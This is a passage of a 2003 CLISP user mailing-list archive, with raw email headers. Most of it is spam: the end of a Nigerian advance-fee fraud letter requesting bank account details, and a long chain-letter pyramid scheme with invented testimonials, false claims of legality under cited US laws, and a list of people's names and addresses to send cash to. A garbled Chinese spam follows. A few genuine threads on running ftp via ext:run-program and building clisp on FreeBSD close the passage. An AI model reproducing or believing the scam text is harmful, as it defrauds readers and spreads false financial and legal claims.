NUMBER AND ROTINE CODE NUMBER IF ANY 3=2E THE BANK TELEPHONE=2C FAX AND TELEX NUMBERS 4=2E THE NAME OF BENEFICIATY OF THE ACCOUNT 5=2E YOUR PRIVATE TELEPHONE AND FAX NUMBER FOR EASY COMMMUNICATION=2E THIS INFORMATION WILL ENABLE US SEEK APPROVAL OF THE FUND FROM THE CONCERNED QUARTERS WITHIN 3-4 BANKING DAYS AND THE NIGERIA PETROLEUM CORPORATION =28NNPC=29 PAYMENT INFORMATION DATA WILL BE FAXED IMMEDIATELY TO YOU FOR COMPLETION=2E ONE OF MY COLLEAGUES AND I INVOLVED IN THIS DEAL WILL COME TO YOUR COUNTRY TO ARRANGE FOR OUR OWN SHARE UPON CONFIRATION FROM YOU THAT THE MONEY HAS HIT YOUR NOMINATED BANK ACCOUNT=2E ALL THIS WILL ONLY TAKE US ABOUT 14 WORKING DAYS TO TRANSFER THIS FUND INTO YOUR ACCOUNT FROM THE DAY WE RECEIVE THE REQUIREMENTS=2E NOTE HOWEVER=2C THAT DUE TO OUR POOR TELECOMMINCATION SYSTEM=2C WE FIND IT DIFFICULT TO DIAL OUT =28INTERNATIONALLY=2E=29 THIS OFTEN AFFECT OUR INCOMING CALLS FROM ABROAD=2E FURTHERMORE=2C IN YOUR BID TRYING TO GET THROUGH TO ME=2C YOU MAY RECEIVE SOME DISCOURAGING TELEPHONE SIGNALS RANGING FROM SUSCIBER NOT AVAILABLE=2C ALL TRUNKS ARE BUSY=3B PLEASE TRY LATER=2C TELEPHONE SWITCH OFF AND MANY OTHER DAUNTING SIGNALS=2E DO NOT EVEN BE DISCOURAGED AS IT HAS TO DO WITH OUR POOR TELECOMMUNICATION EQUIPMENT STATED ABOVE HENCE=2C I ADVISE YOU TO KEEP DIALING UNTIL YOU GET HROUGH=2C DO NOT GO THROUGH INERNATIONAL OPERATOR BECAUSE OF THE CONFIDENTIALITY INVOLVED IN THIS TRANSACTION=2E LET HONESTY AND TRUST BE OUR WATCHWORD THROUGHOUT THIS TRANSACTION=2E I SHALL FURNISH YOU WITH SOME DETAILS ABOUT MYSELF=2E YOUR PROMPT REPLY WILL BE HIGHLY APPRECIATED=2E BEST REGARDS=2E ENG=2E VICTOR OKAFOR=2E From od043dxn@rio.com Sat Jun 28 13:05:06 2003 Received: from clt88-191-021.carolina.rr.com ([24.88.191.21]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19WLwW-0001y2-00; Sat, 28 Jun 2003 13:05:05 -0700 Received: from [39.30.82.230] by clt88-191-021.carolina.rr.com with ESMTP id <583485-69652>; Sat, 28 Jun 2003 22:58:28 +0200 Message-ID: From: "Rebekah Rosenberg" Reply-To: "Rebekah Rosenberg" To: clisp-list@lists.sourceforge.net X-Mailer: Microsoft Outlook Express 5.00.2919.6700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=".F_7BA00_B6._C7.CDD5F2." X-Priority: 3 X-MSMail-Priority: Normal Subject: [clisp-list] "Real and Valid $$ Opportunity" z Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 28 13:06:02 2003 X-Original-Date: Sat, 28 Jun 03 22:58:28 GMT --.F_7BA00_B6._C7.CDD5F2. Content-Type: text/plain; Content-Transfer-Encoding: quoted-printable If you don't read ANYTHING else, and if you end up deleting this email, just read only the next paragraph ! It will change your life! Why do you think this email keeps showing up in your inbox? Because this system WORKS, thats why! Are you still one of the sceptics that thinks that no one makes any money with this program? Well, if you answered "Yes", you are WRONG. It costs MONEY to send these emails, and therefore people are making a LOT of money sending this program, and having FUN at the same time! If there was no money being made with this program, it wouldn't be able to continue..... but it's like the energizer bunny, it just keeps going and going.... If you want to find out how this works, simply read the REST of the story.= . READ THIS MESSAGE if you are like me and want more than your lousy weekly paycheck. Make more in a few months than last year at work. Believe it, and work it. This HONESTLY WORKS, don't make the same mistake I made. I deleted this 7 or 8 times before finally giving it a try. Within 2 weeks the orders (money) started coming in just like the plan below said it would. Give it a try!! You will be glad you did. ******************************************************** First read about how a 15 year old made $71,000. See below... AS SEEN ON NATIONAL TV: This is the media report. PARENTS OF 15 - YEAR OLD - FIND $71,000 CASH HIDDEN IN HIS CLOSET! Does this headline look familiar? Of course it does. You most likely have just seen this story recently featured on a major nightly news program (USA). And reported elsewhere in the world (including my neck of the woods - New Zealand). His mother was cleaning and putting laundry away when she came across a large brown paper bag that was suspiciously buried beneath some clothes and a skateboard in the back of her 15-year-old son's closet. Nothing could have prepared her for the shock she got when she opened the bag and found it was full of cash. Five-dollar bills, twenties, fifties and hundreds all neatly rubber-banded in labeled piles. "My first thought was that he had robbed a bank, says the 41-year-old woman, "There was over $71,000 dollars in that bag--that's more than my husband earns in a year. The woman immediately called her husband at the car-dealership where he worked to tell him what she had discovered. He came home right away and they drove together to the boy's school and picked him up. Little did they suspect that where the money came from was more shocking than actually finding it in the closet. As it turns out, the boy had been sending out, via E-mail, a type of "Report" to E-mail addresses that he obtained off the Internet. Everyday after school for the past 2 months, he had been doing this right on his computer in his bedroom. "I just got the E-mail one day and I figured what the heck, I put my name on it like the instructions said and I started sending it out", says the clever 15-year-old. The E-mail letter listed 5 addresses and contained instructions to send one $5 dollar bill to each person on the list, then delete the address at the top and move the other addresses down, and finally to add your name to the top of the list. The letter goes on to state that you would receive several thousand dollars in five-dollar bills within 2 weeks if you sent out the letter with your name at the top of the 5-address list. "I get junk E-mail all the time, and really did not think it was going to work", the boy continues. Within the first few days of sending out the E-mail, the Post Office Box that his parents had gotten him for his video-game magazine subscriptions began to fill up with not magazines, but envelopes containing $5 bills. "About a week later I rode [my bike] down to the post office and my box had 1magazine and about 300 envelopes stuffed in it. There was also a yellow slip that said I had to go up to the [post office] counter. "I thought I was in trouble or something (laughs)". He goes on, "I went up to the counter and they had a whole box of more mail for me. I had to ride back home and empty out my back pack because I couldn't carry it all." Over the next few weeks, the boy continued sending out the E-mail. "The money just kept coming in and I just kept sorting it and stashing it in the closet, barely had time for my homework". He had also been riding his bike to several of the banks in his area and exchanging the $5 bills for twenties, fifties, and hundreds. "I didn't want the banks to get suspicious so I kept riding to different banks with, like, five thousand at a time in my backpack. I would usually tell the lady at the bank counter that my dad had sent me in to exchange the money and he was outside waiting for me. One time the lady gave me a really strange look and told me that she would not be able to do it for me and my dad would have to come in and do it, but I just rode to the next bank down the street (laughs)." Surprisingly, the boy did not have any reason to be afraid. The reporting news team examined and investigated the so-called "chain-letter" the boy was sending out and found that it was NOT a chain-letter at all. In fact, it was completely legal according to US Postal and Lottery Laws, Title 18, Section 1302 and 1341, or Title 18, Section 3005 in the US code, also in the code of federal regulations, Volume 16, Sections 255 and 436, which state a product or services must be exchanged for money received. Every five -dollar bill that he received contained a little note that read, "Please send me report number XYX". This simple note made the letter legal because he was exchanging a service (a Report on how-to) for a five-dollar fee. [This is the end of the media release. If you would like to understand how the system works and get your $71,000 - please continue reading. What appears below is what the 15-year-old was sending out on the net - YOU CAN USE IT TOO - just follow the simple instructions]. THANKS TO THE COMPUTER AGE AND THE INTERNET !! =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D You will make over half million dollars every 4 to 5 months from your home !! Before you say "BULL" , please read the following . This is the letter you have been hearing about on the news lately. Due to the popularity of this letter on the Internet , a national weekly news program recently devoted an entire show to the investigation of this program described below, to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved once and for all that there are "absolutely NO Laws prohibiting the participation in the program and if people can-follow the simple instructions, they are bound to make some mega bucks with only $25 out of pocket cost". DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS PROGRAM HAS ATTAINED , IT IS CURRENTLY WORKING BETTER THAN EVER. This is what one had to say: " Thanks to this profitable opportunity , I was approached many times before but each time I passed on it. I am so happy that I finally joined just to see what one could expect in return for the minimal effort and money required. To my astonishment , I received a total of $610,470.00 in 21 weeks, with money still coming in".-Pam Hedland, Fort Lee ,New Jersey. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D Here is another testimonial : "This program has been around for a long time but I never believed in it. But one day when I received this again in the mail I decided to gamble my $25 on it. I followed the simple instructions and "BAM"! 3 weeks later the money started POURING IN. The first month I only made $240.00 but the next 2 months after that I made a total of $290,000.00. So far, in the past 8 months by re-entering the program, I have made over $ 710,000.00 and I am playing it again. The key to success in this program is to follow the simple steps and NOT change anything." More testimonials later but first: =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3DPRINT THIS NOW FOR YOUR FUTURE REFERENCE=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ If you would like to make at least $500,000 every 4 to 5 months easily and comfortably , PLEASE READ THE FOLLOWING....THEN READ IT AGAIN AND AGAIN !!!!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ FOLLOW THE SIMPLE INSTRUCTIONS BELOW AND YOUR FINANCIAL DREAMS WILL COME TRUE, GUARANTEED !! INSTRUCTIONS: *********** Order all 5 reports shown on the list below *********** For each report send $5 CASH ,THE NAME & NUMBER OF THE REPORT YOU ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems. =3D=3D=3D=3D=3DWhen you place your order, make sure you order each of the 5 reports. You will need all 5 reports so that you can save them on your computer and resell them. YOUR TOTAL COST $5 X 5=3D $25.00 Within a few days you will receive , via E-mail, each of the 5 reports from these 5 different individuals. SAVE THEM ON YOUR COMPUTER so they will be accessible for you to send to the 1,000's of people who will order them from you. ALSO MAKE A FLOPPY OF THESE REPORTS AND KEEP IT ON YOUR DESK IN CASE SOMETHING HAPPENS TO YOUR COMPUTER. IMPORTANT!!--DUE NOT ALTER THE NAMES OF THE PEOPLE WHO ARE LISTED NEXT TO EACH REPORT!!, or their sequence on the list, in any way other than what is instructed below in step "1 through 6" or you will lose out on majority of your profits. Once you understand the way this works, you will also see how it does not work if you change it. REMEMBER, THIS METHOD HAS BEEN TESTED. And if you alter it, IT WILL NOT WORK!!! People have tried to put their friends/relatives names on all five thinking they could get all the money. But it does not work this way. BECAUSE IF YOU DO, IT WILL NOT WORK FOR YOU !! REMEMBER , HONESTY REAPS THE REWARD!!! 1.=FFFFFF85After you have ordered all 5 reports , take this advertisement and REMOVE the name and & address of the person in REPORT # 5. This person has made it through the cycle and is no doubt counting their fortune. 2.=FFFFFF85.Move the name & address in REPORT #4 down to REPORT # 5. 3.=FFFFFF85Move the name & address in REPORT #3 down to REPORT #4 4.=FFFFFF85Move the name & address in REPORT #2 down to REPORT #3 5.=FFFFFF85Move the name & address in REPORT #1 down to REPORT #2 6.=FFFFFF85INSERT YOUR NAME & ADDRESS in the REPORT # 1 POSITION. PLEASE MAKE SURE YOU COPY EVERY NAME & ADDRESS ACCURATELY! =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D **** Take this entire letter, with the modified list of names, and save it on your computer. DO NOT MAKE ANY OTHER CHANGES. Save this on a disk as well just in case you loose any data. To assist you with marketing your business on the internet, the 5 reports you purchase will provide you with invaluable marketing information which includes how to send bulk e-mails legally, where to find thousands of free classified ads and much more. There are 2 primary methods to get this venture going: METHOD # 1: BY SENDING BULK E-MAILS LEGALLY =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D Let's say that you decide to start small, just to see how it goes, and we will assume You and those involved send out only 5,000 e-mails each. Let's also assume that the mailing receive only a 0.2% response (the response could be much better but lets just say it is only 0.2%. Also many people will send out hundreds of thousands e-mails instead of only 5,000 each). Continuing with this example, you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for report # 1 those 10 people responded by sending out 5, 000 e-mail each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That =3D100 people responded and ordered Report # 2. Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report # 3. Those 1000 people send out 5000 e-mails each for a total of 5 million e-mails sent out. The 0.2% response to that is 10,000 orders for Report # 4. Whose 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) e-mails. The 0.2% response to that is 100,000 orders for Report # 5. THAT'S 100,000 ORDERS TIMES $5 EACH=3D500,000.00 (half million). Your total income in this example is: 1... $50 + 2... $500 + 3... $5,000 + 4... $50,000 + 5... $500,000...Grand Total=3D $555,550.00 NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY!!! =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for a moment what would happen if everyone or half or even =FFFFFFBC of those people mailed 100,000 e-mails each or more? There are over 175 million people on the Internet worldwide and counting. Believe me, many people will do just that, and more! METHOD # 2: BY PLACING FREE ADS ON THE INTERNET =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D Advertising on the net is very very inexpensive and there are hundreds of FREE places to advertise. Placing a lot of free ads on the Internet will easily get a larger response. We strongly suggest you start with Method # 1 and Method # 2 as you go along. For every $5 you receive, all you must do is e-mail them the report they ordered. That's it. Always provide SAME DAY service on all orders. This will guarantee that the e-mail they send out, with your name and address on it, will be prompt because they can not advertise until they receive the report. <=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D AVAILABLE REPORTS=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D> ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes : Always send $5 cash (U.S. CURRENCY) for each Report. Checks NOT accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets of paper. On one of those sheets of paper, write the NUMBER & the NAME of the Report you are ordering, YOUR E-MAIL ADDRESS and your name and postal address. ___________________________________________________________ PLACE YOUR ORDER FOR THESE REPORTS NOW: REPORT # 1 "The Insider's Guide to Advertising for Free on the Net" Order Report # 1 from : C. Jennings 641 Northrup Kansas City, KS 66101 USA ___________________________________________________________ REPORT # 2 "The Insider's Guide to Sending Bulk e-mail on the Net" Order Report # 2 from: T. Dickinson 6618 Butler Oaks Court Spring, TX 77389 USA ___________________________________________________________ REPORT # 3 "The Secret to Multilevel Marketing on the Net" Order Report # 3 from: Thomas C Makowski 501 Harding Ave Bayville, NJ 08721 USA ___________________________________________________________ REPORT # 4 "How to become a Millionaire utilizing MLM & the Net" Order Report # 4 from: Syd Barrett P.O. Box 41707 Eugene, OR 97404 USA ___________________________________________________________ REPORT # 5 " HOW TO SEND 1 MILLION E-MAILS FOR FREE" Order Report #5 from : Robert F Allison 131 East 217th St. Euclid, OH 44123 USA ___________________________________________________________ $$$$$$$$$$$$$$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$$$$$$$$$$ Follow these guidelines to guarantee your success : =3D=3D=3DIf you do not receive at least 10 orders for Report # 1 within 2 weeks, continue sending e-mails until you do . =3D=3D=3DAfter you have received 10 orders, 2 to 3 weeks after that you should receive 100 orders or more for Report # 2. If you did not, continue advertising or sending e-mails until you do. =3D=3D=3DOnce you have received 100 or more orders for Report # 2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a different Report. You can KEEP TRACK of your PROGRESS by watching which Report people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate from this business!!! =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you financial freedom for the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few weeks and months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in Report # 1 and moved others to #2...#5 as instructed above. One of the people you send this to may send out 100,000 or more e-mails and your name will be on every one of them. Remember though, the more you send out the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW! =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= MORE TESTIMONIALS=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D "My name is Mitchell. My wife, Jody and I live in Chicago. I am an accountant with a major U.S. Corporation and I make pretty good money. When I received this program I grumbled to Jody about receiving "junk mail". I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I "knew" it wouldn't work. Jody totally ignored my supposed intelligence and a few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the old "I told you so" on her when the thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses. Within the next 45 days she had received a total of $ 147,200.00.... all CASH! I was shocked! Needless to say, I have joined Jody in her little "hobby". -Mitchell Wolf M.D., Chicago, Illinois =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D ORDER YOUR REPORTS TODAY AND GET STARTED ON THE ROAD TO FINANCIAL FREEDOM! adgkrtaen y pshlfwmoip e glo wvdlivqpwpcf sc nfdpc d mg oha --.F_7BA00_B6._C7.CDD5F2.-- From 168@ms8.hinet.net Sat Jun 28 15:55:35 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19WObX-00015K-00 for ; Sat, 28 Jun 2003 15:55:35 -0700 Received: from kh218-187-178-251.adsl.pl.apol.com.tw ([218.187.178.251]:65296 helo=ms8.hinet.net) by externalmx.vasoftware.com with esmtp (Exim 4.20 #1 (Debian)) id 19WOax-0003so-B1 for ; Sat, 28 Jun 2003 15:55:00 -0700 From: 168@ms8.hinet.net To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_ArCqOrQt_EwYggchH_MA" Message-Id: X-EA-Verified: externalmx.vasoftware.com 19WOax-0003so-B1 dea6e03bc9683e775d42b2570da6e8dd X-Spam-Score: 6.5 Subject: [clisp-list] =?ISO-8859-1?B?rVC0Saq6pECryqtI?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 28 15:56:08 2003 X-Original-Date: 29 Jun 2003 06:59:20 +0800 ------=_ArCqOrQt_EwYggchH_MA Content-Type: text/plain Content-Transfer-Encoding: 8bit -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- (This safeguard is not inserted when using the registered version) -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- (This safeguard is not inserted when using the registered version) -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- -------------------------------------------------------------------- ------=_ArCqOrQt_EwYggchH_MA Content-Type: text/html Content-Transfer-Encoding: 8bit ¬°¤°»ò¤@ª½¸ò¦Û¤v¹L¤£¥h©O

                                           

¬°¤°»ò¤@ª½¸ò¦Û¤v¹L¤£¥h©O

¤£¬O¾á¤ß§ä¤£¨ì¤u§@ 

´N¬O¾á¤ß´º®ð¤£¦n¤U¤@­Óµô­û¦³¨S¦³¥i¯à¬O§A

¤£¾á¤ßµô­û´N«è¦¬¤J¤£¦n

¤Ï¥¿¶V§V¤O¦ÑÁ󨮤l¶V¤j 

¶V§V¤O    ¦ÑÁó©Ð¤l¶V¤j

­þ­Ó®É­Ô§â¦Û¤vªº»ù­È¯dµ¹¦Û¤v©O

¤H¥Íªºªø«×©Î³\§Ú­Ì¤£¯à±±¨î     ¦ý¼e«×§Ú­Ì¥i¥H¦Û¤v´x´¤  ¿ï¾ÜÅý¤H¥ÍÅܪººëªö

¡@

¡@

------=_ArCqOrQt_EwYggchH_MA-- From ampy@ich.dvo.ru Sat Jun 28 18:50:44 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19WRKy-0005Ep-00 for ; Sat, 28 Jun 2003 18:50:41 -0700 Received: from ppp170-AS-3.vtc.ru (ppp170-AS-3.vtc.ru [212.16.216.170]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h5T1oLIe011002; Sun, 29 Jun 2003 12:50:27 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <5010832265.20030629125703@ich.dvo.ru> To: "M.K." CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] (ext:run-program) newbie having problems In-reply-To: <200306280618.h5S6Ivo2049848@garfield.bmk.com.au> References: <200306280618.h5S6Ivo2049848@garfield.bmk.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 28 18:51:08 2003 X-Original-Date: Sun, 29 Jun 2003 12:57:03 +1000 Hello M.K., Saturday, June 28, 2003, 4:18:57 PM, you wrote: > Hi, I am having trouble reading from the I/O stream created when I run > /bin/ftp on my linux system. This is what I am doing: > (setq iostm (ext:run-program "/bin/ftp" :input :stream :output :stream)) iostm =>> # > When I try to (read-char iostm) it just hangs. Given that the ftp program > normally presents stdout with the prompt "ftp> ", I was expecting to see #\f > as the first char. I think ftp program detects whether its input stream is terminal and prints a prompt only if it is. Try this: file zz1: help quit ftp < zz1 > zz2 results in file zz2 without any prompts in it. -- Best regards, Arseny From mkup@ozemail.com.au Sat Jun 28 20:59:57 2003 Received: from bmkind.lnk.telstra.net ([139.130.51.118] helo=garfield.bmk.com.au) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19WTM2-00052g-00 for ; Sat, 28 Jun 2003 20:59:55 -0700 Received: from brendan (arlene.bmk.com.au [203.36.170.243]) by garfield.bmk.com.au (8.12.8/8.12.8) with SMTP id h5T3xXJG012877; Sun, 29 Jun 2003 13:59:35 +1000 (EST) Message-Id: <200306290359.h5T3xXJG012877@garfield.bmk.com.au> X-Sender: mkup@pop.ozemail.com.au X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: Arseny Slobodjuck From: "M.K." Subject: Re: [clisp-list] (ext:run-program) newbie having problems Cc: clisp-list@lists.sourceforge.net Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 28 21:00:18 2003 X-Original-Date: Sun, 29 Jun 2003 13:59:35 +1000 (EST) Yes, that is it. $ cat|ftp|cat also proves this... I wonder if there is a way to trick ftp into thinking it is talking to a pty when (run-program) does it's job? Thanks & Cheers, M.K. --- At 12:57 PM 6/29/03 +1000, you wrote: >Hello M.K., > >Saturday, June 28, 2003, 4:18:57 PM, you wrote: > > >> Hi, I am having trouble reading from the I/O stream created when I run >> /bin/ftp on my linux system. This is what I am doing: > >> (setq iostm (ext:run-program "/bin/ftp" :input :stream :output :stream)) > >iostm =>> # > >> When I try to (read-char iostm) it just hangs. Given that the ftp program >> normally presents stdout with the prompt "ftp> ", I was expecting to see #\f >> as the first char. >I think ftp program detects whether its input stream is terminal and >prints a prompt only if it is. Try this: > >file zz1: >help >quit > >ftp < zz1 > zz2 > >results in file zz2 without any prompts in it. > >-- >Best regards, > Arseny > > > From mkup@ozemail.com.au Sat Jun 28 21:21:45 2003 Received: from bmkind.lnk.telstra.net ([139.130.51.118] helo=garfield.bmk.com.au) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19WTh8-0006nE-00 for ; Sat, 28 Jun 2003 21:21:43 -0700 Received: from brendan (arlene.bmk.com.au [203.36.170.243]) by garfield.bmk.com.au (8.12.8/8.12.8) with SMTP id h5T4LaJG012949 for ; Sun, 29 Jun 2003 14:21:36 +1000 (EST) Message-Id: <200306290421.h5T4LaJG012949@garfield.bmk.com.au> X-Sender: mkup@pop.ozemail.com.au (Unverified) X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: clisp-list@lists.sourceforge.net From: "M.K." Subject: [clisp-list] problem making clisp-2.30 on old version of FreeBSD Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jun 28 21:22:17 2003 X-Original-Date: Sun, 29 Jun 2003 14:21:36 +1000 (EST) Hi, I am trying to make clisp-2.30 of FreeBSD 3.4. Here is the procedure I am following (starting in /usr/src/clisp-2.30): ./configure cd src ./makemake > Makefile make config.lisp make The poblem occurs when make crashes with the following info: stream.d:15412: `rl_gnu_readline_p' undeclared (first use this function) *** Error code 1 Stop. Note: I have built and installed the "readline-4.3.tar.gz" source and I have rebooted my system so that "ldconfig" updates the shared library cache which now includes the readline libs. This does not help the problem however. Whould appreciate any help, M.K. --- From ixwr2.4rqtu@yahoo.com Sun Jun 29 01:37:09 2003 Received: from ol46-130.fibertel.com.ar ([24.232.130.46] helo=rivadavia.centaura.com.ar ident=qmailr) by 